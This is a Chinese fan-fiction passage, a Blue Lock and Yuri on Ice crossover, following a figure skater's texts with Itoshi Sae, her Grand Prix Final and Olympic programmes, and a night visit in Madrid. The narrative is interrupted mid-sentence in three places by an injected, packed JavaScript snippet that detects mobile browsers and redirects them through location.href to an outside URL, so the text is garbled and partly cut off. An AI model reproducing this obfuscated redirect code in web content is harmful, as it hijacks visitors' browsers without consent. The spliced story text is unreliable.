赛后,洁千穗没等冴,只是把像其他球迷那样把礼物(她在门口买的花束)投掷。 然后离场、坐车回酒店。 路上她犹豫了会儿,拿出手机给他发了祝贺。 【Chiho:帽子戏法,好厉害】 千穗发完消息,就划掉了聊天界面、熄屏。 晚上她就要坐飞机回国了,还要参加2016—2017赛季的大奖赛。 不出意外的话,第一场比赛是10月21日的美国分站—— “千穗?” 停下车的北野宁宁喊她。 千穗才回过神来。 已经到酒店了。 . 坐电梯的时候,千穗手机振了一下。 她翻出来一看,果然是冴。 【Sae:你走了?】 她打字回复: 【Chiho:嗯,晚上还有飞机】 【Sae:哦】 【Chiho:帽子戏法真的很厉害,恭喜】 对面不知道为什么没立刻回复。 等她下了电梯才又收到消息。 【Sae:谢谢】 千穗看着那两个字,忽然想起刚才在球场上的画面——他进球后朝观众席看的那一眼。 是在找她吗? 她摇摇头,把这个念头甩开。 【Chiho:对了,问你个事】 【Sae:?】 【Chiho:我前年送你的那只粉色小猫玩偶呢?还在吗?】 对面沉默的时间比之前更长。 千穗还以为他不打算回复了,已经回房间开始收拾行李了。 结果手机又振了下。 【Sae:[视频]】 千穗点开。 画面里是糸师冴的房间——床头柜,他打开下面那层抽屉,从里面取出一个透明的玻璃罩。 玻璃罩里,那只粉色的小猫玩偶端端正正地坐着,毛茸茸的,眼睛圆溜溜,爪子上系着那条银色的小铃铛。 保存得完好如新。 千穗盯着那个视频,懵了一会儿。 然后她打字: 【Chiho:……】 【Chiho:倒也不用这么郑重保存】 【Chiho:你喜欢的话,我下次再送你呗】 【Sae:不用】 【Sae:这个就够了】 千穗莫名有些感动。 收着的每一样东西都有好好保存着啊。 【Chiho:那你手上那对手链呢?】 【Sae:[图片]】 照片里是他的手腕。 一黑一白两条手链,并排戴着,在训练服的袖口若隐若现。 那是她去年送的生日礼物之一,也是她唯一不确定对方会不会用的东西。 结果还是戴着吗…… 这反而让她难受起来。 千穗抿唇,再次转移话题。 【Chiho:护踝呢?】 【Sae:今天用了】 千穗眨了眨眼。 今天他比赛用了? 她尽量平和地回复。 【Chiho:那就好】 【Sae:嗯】 【Chiho:那你早点睡,明天不是还要训练吗?也不用来送我了】 【Sae:嗯】 【Sae:你也是,凌晨的飞机,去机场前先睡一会儿】 【Chiho:好】 【Chiho:晚安】 【Sae:晚安】 . 凌晨1点,马德里机场。 千穗在候机处发着呆。 她想了想,掏出手机,刷了刷推特。 俱乐部有宣发这次比赛。 现在近九小时过去,十六岁糸师冴联赛进三球的消息已经传到网上了。 带他名字的词条在热搜榜尾,但热度还在攀升。 评论区有惊讶的、有惊喜的、也有些不友好的。 她又去翻了翻日媒。 已经有球迷剪辑出他的特集,并称他为“代表日本足球未来的选手”。 没怎么犹豫,她点进最火的视频看了看。 视频不长,四分多钟,开头考古了他在日本的比赛表现,后面大部分剪辑他从青训营到现在的几个高光时刻。最后一个画面,是他昨天进球后看向观众席的那一眼。 弹幕大多是欢呼。 千穗默默关掉视频。 然后切回推特热搜,截了个图,发给世一。 【Chiho:[图片]】 【Chiho:你冴哥火了】 几乎是秒回,岛国那边大概刚好上午8、9点。 【小草:!!!】 【小草:我看到了!!!凛已经给我发了快一百条消息了!!!】 【小草:他好兴奋,一直在说他哥太厉害了】 千穗笑了一下。 【Chiho:那你呢?】 【小草:我?】 【小草:我也觉得冴哥很厉害啊】 【小草:但是——】 【小草:我会更厉害的】 千穗看着那行字,嘴角弯起来。 【Chiho:好,我等着】 【小草:嗯!】 【小草:姐姐比赛也要加油!】 【Chiho:知道了】 . 登机广播响起。 千穗收起手机,站起身,往登机口走去。 走出几步,她忽然想起什么,回头看了一眼。 落地窗外,马德里的夜色很深、很重,有点点星光闪着。 不知道下次再来,星星会不会更多。 … … 再次来到欧洲,是因为12月8日开始的大奖赛总决赛,在法国马赛举办。 新的赛季、新的编舞。 由她主导、雷奥尼多辅助的编舞。 短节目柴可夫斯基的《胡桃夹子》、自由滑斯特拉文斯基的《火鸟》,又是新的风格。 . 《胡桃夹子》的考斯滕是粉红色的。 不是那种怯生生的、含羞的粉——是那种浓郁的、近乎糖果色的粉,像小时候最想要的生日礼物包装纸的颜色。裙摆是层叠的纱,每一层都缀着细碎的银色亮片,在灯光下闪烁的时候,像撒了一身的糖霜。领口是乖巧的圆领,背后却有一个深V的设计,露出一小截脊柱——那是整个造型里唯一不那么“甜美”的地方。 发型也配合着做了改变。一般和其他女单一样全部盘起来的头发,这次特意留出两缕微卷的发丝垂在耳侧,用几个小小的珍珠发夹固定在脑后、并确定不会在动作时产生危险。 当她站在冰场入口的时候,观众席传来一阵轻轻的、几乎可以称作“惊喜”的吸气声。 没有人见过这样的洁千穗。 . 《胡桃夹子》的旋律响起的瞬间,她动了。 但那个动法,和所有人想象的不一样。 不是那种甜美的、童话式的演绎——她把克拉拉的梦改编成了另一种东西。 冰刀切过冰面的声音,是糖果王国破碎的序曲。 开场依旧是3A。 阿克塞尔三周半。 起跳的瞬间,粉红色的裙摆在灯光下绽开,银色亮片闪烁得像圣诞树顶的星星。落冰时冰刀切进冰面的声音清脆得像敲碎一颗糖果,溅起的冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17354656|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屑在灯光下散落,像是撒向空中的糖粉。 观众席爆发出惊呼。 但千穗只是弯了弯嘴角。 那个笑容—— 甜吗? 甜的、但更让人心颤。 … 接续步的时候,她把那些本该轻盈的舞步滑出了另一种质感。 冰刀切过冰面的弧线,每一个都圆润得像用圆规画出来的——但那种圆润不是天真,是精确。每一次转体,每一次用刃,都卡在音乐的节点上,不多一分,不少一秒。 她滑过裁判席前的时候,微微侧过头,看向裁判。 那一眼里带着笑。 很甜的、称得上蛊惑的笑。 ——音乐继续。 最后一个跳跃后,她进入旋转。 燕式旋转、直立旋转,然后是由她第一次复刻到这个世界的的珍珠贝尔曼。 她把自己转成一个模糊的影子,粉红色的裙摆在离心力下绽开,银色亮片在灯光下闪烁,像一朵正在盛放的糖果花。 渐渐的,旋转的速度慢下来,慢下来。 最后,她停在冰面中央,微微歪着头,双手交叠在身前,做了一个乖巧的、仿佛在等待夸奖的姿势。 那个姿势持续了一秒。 音乐落下。 然后她弯起嘴角。 节目结束。 . 短节目74.89,并非最高分——裁判的P分一如既往地保守。 但足够了。 那千穗的自由滑呢? 《火鸟》的考斯滕是火焰的颜色——从金红渐变到深红的层叠,像燃烧的羽毛一片片覆在身上。领口是微微敞开的设计,露出一小截锁骨。裙摆如羽翼、前短后长,正面裁开,行动间会露出里面更深一层的红色——像是火焰的内核。 她花了很长时间和设计师讨论这套考斯滕。 不是要复制那个俄罗斯神话里的火鸟。 是要成为她。 成为那只在伊凡王子面前燃烧、又在他松开手的瞬间消失的鸟。 既是施咒者,也是被诅咒者。 既是给予者,也是掠夺者。 . 冰场的门推开,冷气扑面而来。 她踏上冰面。 和去年一样,一步一步,冰刀磕在冰面上,发出清脆的声响。 那声音敲击在人们心上,让他们渐渐噤声—— 这样的开场,独属于她。 不是没人模仿过,只是达不到她的效果。 最后一下,千穗滑向冰场中央。 站定。 低头。 双手抱臂,如收拢羽翼的飞鸟。 那个姿势持续了一秒。 两秒。 三秒。 观众席安静得能听见自己的呼吸。 然后—— 第一个音符响起。 是低音提琴的拨弦,一下,又一下,像心跳,像鼓点,像火焰深处传来的脉动。 千穗抬起头。 那一瞬间,她整个人都变了。 不是从安静变成张扬的那种变。 是从“存在”变成“焚烧”的那种变。 冰刀切过冰面的声音,是第一簇火苗。 开场是内部开始的、安静的、却无法忽视的燃烧。 火鸟睁开眼睛。 她的身体随着那低沉的前奏开始移动——不是滑行,是流动。冰刀在冰面上画出第一个弧线的时候,那抹金红色的影子就开始燃烧。 . 千穗的跳跃向来高、飘、远。 她跳跃时,像那种在空中停留的、仿佛时间被拉长的飞。火红色的裙摆在身下绽开,金红色的光在灯光下闪烁,像火焰的羽翼。 等到弦乐切入,木管加入,整个乐团的声响像火焰一样蔓延开来。 而她呢? 冰刀切过冰面的声音连绵成一条线,她在冰上画出的是火焰的纹路——复杂的、交错的、仿佛在燃烧的图案。每一次转体,每一次用刃,都在冰面上留下火的痕迹。 大开大合的交叉步横穿冰面,身体倾斜到几乎与冰面平行的角度。右手触冰的瞬间,冰凉的触感从指尖传来,但她的眼神没有变——还是那种燃烧的、灼人的、要把一切都吞没的眼神。 那眼神扫过观众席的时候,所有人都下意识屏住了呼吸。 她在看他们。 她在燃烧给他们看。 火光漫天、吞噬视野的一切。 . 《火鸟》编舞的最后一个跳跃。 是4Lz。 勾手四周跳。 她练了半年的、摔倒差点崴脚的勾手四周。 在今天、完美落冰。 总决赛总分:247.23 ——大奖赛二连冠,达成。 31.转中场 千穗实现了GPF二连冠。 尤里也是。 且是在维克托也参赛的情况下,赢了。 他终于可以趾高气扬地对维克托说“你的时代已经结束了”。 他接下来的目标是在18年冬奥前拿到欧锦赛和世青赛金牌。 同样在为全满贯冲刺呢。 千穗表示欣赏支持,然后回国拿了全日锦标赛四连冠(宣布自己明年目标是帮弟弟考个好高中)、和家人一起过生日过年(并压着弟弟补习),再奔赴韩国江陵的四大洲锦标赛。 4CC男单前三是奥塔别克、JJ和勇利。 欧锦今年捷克选手埃米尔.尼古拉夺冠了,尤里再次爆炸。 还好还有芬兰的世锦赛撑着让他继续奋斗、准备一雪前耻。 SNS上—— 【Yuri:维克托和炸猪排盖饭给我等着!!!】 千穗看到后笑了下。 尤里今年一直在长高,去年大奖赛就比她高三厘米、现在已经高快十厘米了(163cm到170cm),意味着他一整年都在适应身体的变化、重新稳定轴心。 而千穗现在长高的速度已经慢下来了。 . 继千穗拿下世锦赛金牌,世一也是成功考上白宝高校(虽然擦线)、认识了御影玲王开始为建设白宝高校足球社努力。 尤里也真的一雪前耻拿下金牌。 年过30的维克托则自己会坚持滑完下一个赛季、和勇利一起撑到2018年冬奥再退役——这两年国际赛事基本稳定前三的勇利、现在也是国内第一档的选手了。 J.J和格奥尔基也准备结婚了。 莱莉也拉够投资准备入驻日本了。 理依奈也将升入青年组,光、理凰等将参加NoviceB比赛。 研磨拉到迹部等人的投资,成立了自己的公司(顺带一提千穗也参与了)。 抱怨这几年春高不好看——因为两年前开始那些运动番主角就陆续上高中了——的人们在新一批运动番主角上线后也终于不再抱怨了。 所有人大体对今年是满意。 ……除了糸师冴。 . 千穗有关注糸师冴的消息。 那场比赛后他的经纪人吉洛兰.达巴迪就上岗了。 但千穗听说最近他所在的队伍输了比赛、还有一场是和FC巴查的。 保持着莫名的心态,千穗接受了西班牙巴塞罗那知名花滑俱乐部的邀请赛。 然后,悄悄去趟马德里。 她没有立刻去找冴,到马德里的那天晚上只是一个人在街上闲逛,路过快餐店,犹豫了片刻,买了包薯条。 这时候已经快九点了。 街上有不少小混混之类的。 千穗是因为白鸦控制的“心理学隐身”被他们忽视,就这么仿佛不存在地闲逛。 手里的薯条已经吃了一半。 她也不知道自己在等什么。 直到手机在口袋里振动。 她掏出来看。 ——糸师冴的电话。 千穗接起来,等了几秒。 “冴?” 对面只有呼吸声。 很轻的,几乎听不见的呼吸声。 但千穗听见了。 她站在街道的灯光下,手里还拿着那半包薯条。马德里的夜风吹过来,有点凉,但她没动。 “……你在听吗?”她问。 对面沉默。 呼吸声还在。 千穗等了等。 然后她没再说话,只是把手机贴在耳边,转身往某个方向走去。 脚步声在夜风里散开。 电话两端都沉默着。 但谁都没挂断。 . 几分钟后,千穗站在那栋熟悉的公寓楼下。 她抬起头,看向六楼的窗户。 灯亮着。 她深吸一口气,把手机换到另一边耳朵。 “来阳台。” 她说。 . 阳台上,一个人影探了出来。 小豆色的头发,模糊的轮廓,在灯光下显得有些毛茸茸的。 那个人往下看。 然后僵住了。 千穗站在路灯下,仰着头,朝他挥了挥手里的半包薯条。 . 两分钟后,楼道的门被推开。 糸师冴冲出来的时候,只穿着居家的薄外套,连围巾都没戴。 他站在门口,看着她。 千穗也看着他。 两个人就这样对视了几秒。 “这么晚,一个人在街上走不安全。” 冴开口,声音有点哑。 千穗歪了歪头。 “我知道。” “那你——” “低头。” 冴愣了一下。 但千穗没等他反应过来,已经上前一步,张开双臂。 “抱一下吧。” . 冴站在那里,没动。 千穗等了等。 然后她感觉到一只手落在自己肩上。 很轻。 然后那只手收紧了。 再然后,整个人都被拽进了一个怀抱。 紧得有点喘不过气的那种。 千穗愣了一下。 然后她伸出手,环住他的背。 没有说话,只是用手轻轻拍着他的背,一下,又一下。 过了很久。 久到街边的路灯都闪了一下。 冴终于松开了一点。 但没完全放开。 他把下巴抵在她肩膀上,声音闷闷的。 “……你怎么来了。” “来参加邀请赛。”千穗说,“顺便看看你。” 冴没说话。 千穗感觉到他肩膀在微微发抖。 不是冷。 是别的什么。 她伸出手,揉了揉他的后脑勺。 头发比上次见面时长了一点,软软的,手感很好。 “没事。”她说,“我在呢。” . 又过了一会儿。 冴终于直起身。 他看着她,似乎已经恢复了平时的冷静。 而千穗看出了他的疲惫。 “走吧。”她只是这么说,“一起走走。” “……好。” . 两个人并肩走在夜晚的马德里街头。 冴穿着那件薄外套,千穗裹着风衣,手里还拿着那半包薯条。 街边的路灯把他们的影子拉得很长。 走了一会儿,冴开口。 “我做了个决定。” “嗯?” “我想当世界第一中场。” 千穗脚步顿了一下。 然后继续走。 “嗯。” 冴侧头看她。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【Chiho:早点睡】 ……《蓝色监狱》的剧情快要开始了。 * * 几个月后,洁千穗已经回国,参加完11月的大奖赛中国北京站、日本大阪站,准备十二月初的名古屋总决赛、也就是2018年冬奥团体资格赛了。 等她赶完十二月底“全日锦标赛五连冠”和一月下旬“4CC三连冠”成就刷了八年寿命,她就跟国家队教练协商好不参加团体赛了。 教练和同队的其他选手用一种堪称畏惧的目光注视她。 千穗也觉得自己快累死了。 就这样她还和糸师冴在那个该死的雪夜吵了一架。 ——糸师冴蓝色监狱什么的全都一边去,她的全满贯、连冠记录和寿命增长才是最重要的! 32.冬奥 2018年2月21日,江陵冰上体育场。 短节目比赛开始前,洁千穗坐在更衣室里,对着镜子,最后一次确认妆发。 今天她把头发全部盘起,用发胶固定成简洁利落的髻,露出完整的脖颈线条。 镜子里的自己干净、利落,像一把收在鞘中的刀。 她已经穿好了考斯滕。 朱红的底色从肩部向腰际渐变成深邃的墨黑,像黄昏与黑夜在交界处互相吞噬。左肩至右腰一条金色的绳结纹样蜿蜒而下,模仿能剧服装的“挂络”,在灯光下泛起细腻的金属光泽。右侧无袖,露出完整的手臂线条;左侧长袖覆盖手腕,袖口收紧,绣着暗纹。裙摆及膝,正面开叉,行动间会露出内侧黑色的衬里——红与黑交替闪现,像火焰与灰烬。 化妆师最后调整她眼尾的红色。不是浓烈的红,是那种从眼角晕染开来的、若有若无的红,像能剧面具上渗出的血色。 “好了。”化妆师退后一步,端详了几秒,“完美。” 千穗对着镜子看了几秒。镜中人的眉眼被那抹红拉得微微上挑,不笑的时候,竟真有几分能面般的无悲无喜。 她站起身,推开更衣室的门。 门口,北野宁宁已经等在那里。她手里拿着千穗的队服外套,看见她出来,没有多说什么,只是点点头。 冰场的广播声、观众的掌声与呼唤隔着几道墙传来,忽悠飘远,像海浪拍在很远很远的岸上。 千穗深吸一口气。 然后,她迈出了第一步。 她准备好了。 她准备了很多年。 ——她来了。 . 到了冰场入口,广播里传来上一位选手的得分。 观众席响起掌声,然后安静下来。 千穗听见自己的名字被念出——法语、英语和汉语,播报三遍,在空旷的场馆里回荡。 她闭眼、再睁眼。 冰场的门推开,冷气扑面而来。 她踏上冰面。 短节目:《能面の女》 灯光暗下来的时候,观众席安静得能听见冰面冷却的声音。 洁千穗站在冰场中央,低着头。朱红的考斯滕在昏暗的灯光下显得格外深邃,左肩至右腰那条金色的绳结纹样闪烁着幽微的光。她一动不动,像一尊静止的雕像,像能乐舞台上等待被唤醒的面具。 然后,太鼓声起。 咚。 她抬起头。灯光亮起的瞬间,所有人都看见了她的脸——妆面比平时浓,眼尾那抹红色在灯光下格外醒目。但没有表情。不是冷漠,是空白。是能面那种无悲无喜的、让人心里发毛的空白。那张脸上的五官精致得像画上去的,眉眼之间的距离被刻意强调,嘴唇的弧度微微向下,像在微笑,又像在哭泣——但你永远分不清。 咚。 第二声太鼓。她动了。不是滑行,是走——一步一步,冰刀磕在冰面上,发出清脆的声响。那声音在安静的场馆里格外清晰,每一步都踩在心跳的间隙里,如某种古老的仪式。她的步伐极慢,慢到观众能看清她每一次重心转移时身体的微妙倾斜,能看清冰刀从后刃过渡到前刃时冰面上留下的那道由深变浅的弧线。 她走到冰场中央偏左的位置,停下。 篠笛的声音切入,尖锐的、绵长的、像从另一个世界传来的呼唤。 千穗的身体开始倾斜。不是滑行,是倾倒——似是被看不见的线牵引着,整个人的重心向左偏移,右腿缓缓抬起,冰刀在冰面上划出一道浅浅的弧线。那道弧线细而长,从冰场中央一直延伸到四分之一圆的位置,模拟着毛笔在宣纸上落下的一捺。 第一个技术动作、是步法。 这是她和雷奥尼多、夜鹰纯反复推敲后确定的方案——让《能面の女》从步法开始,让裁判和观众先看见“能面”本身,再看见“能面之下”的东西。 双三,莫霍克,左前外刃切入—— 3A。 她最擅长的阿克塞尔三周半。 起跳的瞬间,朱红的裙摆扬起,露出内侧黑色的衬里。那抹红与黑在空中旋转,一圈,两圈,三圈半——那是能面被揭开一角,露出底下深不见底的黑暗。腾空的高度比她任何一次训练都要高,身体在空中绷成一条笔直的线,双臂紧贴身体,转速快得让人几乎看不清她的轮廓。 落冰。 冰刀切进冰面的声音清脆得像木槌敲在能乐舞台上。冰屑从刀齿下飞溅而出,在灯光下碎成无数细小的光点,像撒向空中的金粉。她的身体没有晃动,甚至没有多余的弧度,就那么直直地滑出,右臂缓缓向前伸展,左手轻轻搭在胸前,指尖微微上翘——那是能剧里最常见的“尉”型手势,端庄、肃穆、不悲不喜。 观众席爆发出惊呼。 但千穗的表情没有任何变化。 她全然投入演绎中。 FCSp,跳接燕式旋转。 她一个小跳进入旋转,身体在空中划出一道短促的弧线,落冰的瞬间重心下沉,左腿作为支撑腿稳稳钉在冰面上,右腿向后抬起,与冰面平行,整个人呈“T”字型。旋转开始——一圈,两圈,三圈——她的速度越来越快,朱红与墨黑在灯光下交织,裙摆完全展开,像一朵盛放的红花。四圈,五圈,六圈——离心力把她拉成一个倾斜的平面,身体与冰面的夹角越来越小,小到观众几乎以为她要贴上冰面。 七圈,八圈—— 换手位。 她从头顶抓刃的姿势切换到胸前抱臂的姿势,旋转的速度几乎没有衰减,裙摆在离心力下收拢又绽开、那花苞在瞬间完成绽放。朱红的面料在灯光下流淌,是融化的岩浆、是伤口渗出的血。 九圈—— 她减速,慢下来,慢下来。 最后定格在某个角度——刚好让背后的金线刺绣暴露在灯光下。 能面的半张侧脸。 无悲无喜。 但在光线下,那刺绣的角度微妙地偏转了一度,那张侧脸仿佛—— 笑了。 观众席传来轻轻的吸气声。 千穗没有回头。她知道那张脸在笑。因为是她设计的。 接续步。 这是整个短节目最复杂的部分。不是技术上的复杂——虽然技术也确实复杂——是表达上的复杂。雷奥尼多第一次看到这套步法的时候沉默了很久,然后说:“这是我看过的最好的编排。”顿了顿,又补充,“也是最让人不舒服的。” 千穗知道他在说什么。 因为这套步法不是要让人舒服的。 冰刀切过冰面的弧线,每一道都锋利得像刀刃。她不是在画图,是在刻——在冰面上刻下一条条无法磨灭的痕迹。前外刃的弧线深而长,冰刀切入冰面的深度惊人,切出的冰屑不是飞溅,是翻卷,像犁铧翻开冻土。后内刃的回转短促而急,身体的重心在瞬间完成转移,冰面上留下一个尖锐的折角,像刀锋转折处的一道冷光。 每一次转体,每一次用刃,都精准得像被计算过。但那种精准不是机械的,是仪式化的——来自能乐舞者数百年传承下来的、每一个手势都必须精确到毫米的、不可更改的仪式。 篠笛的声音变得急促,太鼓的节奏加快。她的滑行速度随之提升,冰刀切过冰面的声音连绵成一条线,沙沙的,沙沙的,像风穿过竹林,像雪落在屋檐。身体随着节奏起伏,手臂抬起、落下、抬起、落下—— 像能剧里的舞。 但比能剧更冷。 她的上半身始终保持绝对的稳定,肩膀没有一丝晃动,脊椎垂直于冰面,如一根钉入大地的桩。所有的动态都来自下半身——膝盖的屈伸,脚踝的扭转,冰刀在冰面上画出的每一个弧度。这种上下半身近乎割裂的分离感,让她的滑行看起来既像在流动,又像被固定在某个不可见的位置。 她在整个接续步中没有任何表情。 不是压抑,不是隐忍,是真正的、完全的空白。那种空白不是“没有情绪”,是“有情绪但被面具遮住了”——而那张面具,就是她的脸。 观众席安静得能听见冰屑飞溅的声音。 然后,进入后半段。 3Lz+3T。 勾手三周接后外点冰三周。 起跳前有一组极快的捻转步,三圈,每圈都卡在太鼓的鼓点上。她的身体在冰面上快速旋转,裙摆扬起又落下,像被风吹动的帘幕。最后一圈转完的瞬间——起跳。 左后外刃切入冰面,膝盖蓄力到极致,右脚的冰刀点冰的瞬间,千穗的眼神变了。不是表情变了——表情还是空白——是眼神。那双蓝眼睛里有什么东西在燃烧,隔着能面的缝隙,隐约可见,如深冬夜里隔着纸窗看见的一盏孤灯。 腾空。 三圈转完,落冰的瞬间立刻蹬冰起跳——3T。两个跳跃之间几乎没有停顿,仿佛只是一个动作的两个部分。落冰时冰刀切入冰面的声音清脆炸响,滑出的弧线比训练时长了将近半米,那道弧线的末端微微上扬,仿佛一句没有说完的话。 3F,飞利浦三周。 这个跳跃她放在节目的最后。起跳前是一串莫霍克步,左前内刃,右前内刃,左前内刃——三次换足,三次变刃,每一次都精准地踩在音乐的间隙里。最后一次换足的瞬间起跳,左前内刃发力,身体腾空,三圈转完,落冰—— 冰刀切入冰面的声音。 清脆的。 干净的。 是能乐舞台上最后一声木击。 她滑出弧线。 音乐还没结束。 最后一个音依旧是篠笛的长音,更绵长的、渐弱的,象征魂灵消散在风里、面具被重新挂回墙上、舞台的帷幕缓缓落下。 千穗滑到冰场中央,站定。 低头。 手臂垂落。 静止。 长音消散。 ——人们才想起自己可以呼吸。 礼物投掷到冰场边缘。 他们起立、掌声响起。 是致敬。 洁千穗站在冰面中央,抬起头,看向观众席。 那张脸上终于有了表情。 很淡的、几乎看不见的笑容。 像能面被揭开的瞬间,露出底下那张真实的、疲惫的、但终于能够呼吸的脸。 Kiss&Cry区。 特意赶过来的雅科夫把外套披在她肩上。没说话,只是拍了拍她的背。北野宁宁递过水瓶,什么都没说。国家队教练红着眼眶、激动异常地看着屏幕等待分数。 等屏幕上终于打出分数时,整个场馆都安静了。 技术分:42.50 艺术分:40.00 短节目总分:82.50 洁千穗看着那个数字,愣了一下。 82.50。 历史最高,在冬奥会、在被认为会压分的冬奥会。 她甚至都做好他们无法理解这套节目的准备了。 结果,出乎意料。 她甚至领先第二名将近6分。 这优势不小,但—— 自由滑占比更高,任何失误都可能改变一切。 而自由滑比赛在两天后。 . 两天里,千穗没有去冰场。 她只是休息,吃饭,睡觉,偶尔在酒店房间里做一些简单的拉伸。北野宁宁陪着她,帮她按摩肌肉,帮她检查考斯滕,帮她确认音乐。雅科夫和比完男单自由滑的其他人每天来看她一次,确认她的状态,然后离开(之前4CC她刚吵完架他们态度更紧张)。 但千穗不紧张。 也不打算去想某个人。 她只是等。 也终于等到了2月25日,自由滑比赛日。 ——马德里的时间比平昌晚八个小时。 自由滑开始的时候,马德里的清晨刚刚到来。 糸师冴坐在公寓的沙发上,电视开着,画面是转播信号。窗外天还没完全亮,灰蓝色的晨光从窗帘缝隙里漏进来,在地板上落下一道模糊的光痕。他面前的茶几上放着一杯已经凉了的咖啡,旁边的手机屏幕亮着,是洁世一发来的消息——【冴哥,你在看吗?】他没有回复。 他的眼睛一直盯着屏幕。 女单自由滑已经开始。倒数第二位选手刚刚结束她的节目。分数不错——技术分很高,艺术分也突破了个人最佳。她下场的时候哭了,被教练搂着肩膀,一边哭一边笑。 冴看着那个画面,脑子里想的却是——下一个就是她。 画面切到选手通道。 洁千穗站在那里。 银白渐变的考斯滕从肩部纯白渐变到裙摆银灰,左肩到右腰一道若隐若现的蓝色轨迹,如冰刀划过冰面留下的痕迹。对称的剪裁,两侧长袖,袖口微喇。裙摆及膝,A字型剪裁,旋转时如羽翼展开。头发盘成简洁的髻,只有几枚透明的U型夹固定碎发。 她的表情很平静,和短节目结束时那个笑容不同——那个笑容是疲惫的、释然的、终于可以呼吸的。现在是平静的。一种深沉的、笃定的、像冰面本身一样的平静。 她朝镜头看了一眼。 ……仿佛透过镜头,看某个更远的地方。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17361200|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 冴的手指在膝盖上收紧了。 广播里传来她的名字。 “Next skater: Chiho Isagi, Japan.” 千穗踏上冰面。 标志性的开场,一步一步,冰刀磕在冰面上。那声音通过转播信号传过来,有一点失真,但冴认得那个声音——他听过太多次了,从现场、从官方的录屏、从粉丝的剪辑视频。 今天的声音不一样。 这次,只是脚步声。 以一个走了很远的路的人,最后的脚步声。 她滑到冰场中央,站定。 灯光从头顶倾泻下来,银白的考斯滕在光线下闪耀。 静默。 钢琴声起。 《First Step》。 第一个音从音响里流出来的时候,千穗闭上了眼睛。 冴认识这首曲子。千穗选曲的时候他们还没吵架,有跟他提过。 “为什么是这首?”他问过。 她说:“因为它够真实。” 现在他好像懂了。 钢琴单音,一下,又一下,像一个人在雪地里留下的第一个脚印,像四岁的孩子第一次站在冰面上时,心脏跳动的频率。 千穗睁开眼睛。 开始滑行。 不再是上赛季那种大开大合的、占满整个冰场的滑行。是安静的、收敛的、像初生的小鹿第一次站在冰面上。她的身体微微前倾,重心放得很低,右臂向前伸,左臂向后展开——那不是一个比赛动作,那是一个孩子在学滑冰时第一次学会的姿势。膝盖的屈伸比平时更深,每一步滑行都带着一种小心翼翼的试探,像在确认冰面是否能承载她的重量。 她的右手轻轻触了一下冰面。 指尖擦过冰面的瞬间,她的嘴角弯了一下。 很轻的、几乎看不出来的笑。 电视屏幕上,她的特写镜头捕捉到了那个笑容。冴看着那个笑容,忽然想起很久以前的事——她第一次在正式比赛中完成3A的那天,从冰面上滑下来的时候,也是这个表情。不是得意,不是如释重负,是一种纯粹的、孩子般的喜悦。 “我做到了。” 什么都没说,但谁都看得见。 接续步。 这是《First Step》的核心,是成长的步法。从最开始的蹒跚,到慢慢找到平衡,到开始在冰面上画出第一个圆、第一个弧、第一个交叉的图案。 千穗的冰刀切过冰面,画出那些弧线的时候,她的表情一直在变。不是“表演”出来的变,是“回忆”带来的变——专注的、惊喜的、挫败的、又重新振作的。每一种表情都只持续几秒,像走马灯一样从她脸上掠过。 糸师冴静静地看着她的表演。 他知道,她将实现一直以来“全满贯”的梦想了。 ……心底莫名涌上不甘,一种他再次落后的、说不清道不明的不甘。 4S。 后内结环四周。 第一个四周跳。她学会的第一个四周跳。起跳的瞬间,银白的裙摆在灯光下绽开,那道蓝色的轨迹在光线下闪烁,像冰刀划过冰面时留下的痕迹被突然点亮。腾空——一圈,两圈,三圈,四圈——她的身体在空中绷成一条笔直的线,转速快得让裙摆几乎贴在身上。 落冰。 右后外刃切入冰面,冰屑从刀齿下飞溅出来,在灯光下碎成无数细小的光点。她的膝盖弯到完美的角度,吸收掉所有冲击力。 她滑出弧线,手臂展开。 一只终于学会飞的鸟。 掌声从观众席涌来。 千穗没有停。 因为音乐变了。 《Experience》。 弦乐切入的瞬间,千穗的滑行风格变了。 不再是《First Step》那种收敛的、安静的成长。是张扬的、燃烧的、把所有体验都倾泻在冰面上的释放。 她的冰刀切过冰面的深度比之前更深,每一下都像要把冰面切开。身体倾斜的角度更大,几乎与冰面平行,右手触冰的瞬间,冰凉的触感从指尖传来,而她的眼神——那种燃烧的、灼人的、要把一切都吞没的眼神。 那个眼神透过镜头,穿过屏幕,落在冴的眼睛里。 多么熟悉的眼神。 她一直在说,“这是我的冰面”。 不属于任何人的、只属于她的、绝对的笃定。 他抿着唇,什么也不去想。 . 本赛季夹心跳正式被命名、赋分。 而千穗后面的跳跃—— 4T+1eu+3S。 后外点冰四周接后外结环一周接后内结环三周。由她完成的、不再只属于男单的三明治连跳。起跳前没有任何犹豫,落冰后立刻衔接。三个跳跃之间几乎没有停顿,完整得如一个动作的三个部分。 再是4Lz+3Lo。 勾手四周接后外结环三周。 这是整个节目难度最高的连跳之一,也是她在正式比赛中第一次使用。 